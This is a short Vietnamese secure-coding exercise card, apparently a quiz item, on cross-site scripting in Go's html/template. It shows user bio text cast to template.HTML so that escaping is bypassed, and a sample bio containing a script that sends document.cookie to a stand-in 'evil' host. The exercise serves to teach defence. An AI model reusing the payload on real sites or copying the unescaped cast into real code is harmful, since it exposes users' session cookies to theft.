TEMPLATE · XSS Nâng cao CA 04 / 09

Trận đấu trùm: chữ “tin tưởng” đắt giá

Trang hồ sơ in phần “giới thiệu” (bio) do chính người dùng nhập. html/template vốn tự escape mọi thứ — trừ khi bạn ép kiểu template.HTML:

data := map[string]any{
    "Bio": template.HTML(user.Bio),   // = "tôi tin cái này an toàn, ĐỪNG escape"
}

Người dùng nhập bio:

<script>fetch("https://evil/c?"+document.cookie)</script>

Khi người khác mở trang hồ sơ này, chuyện gì xảy ra?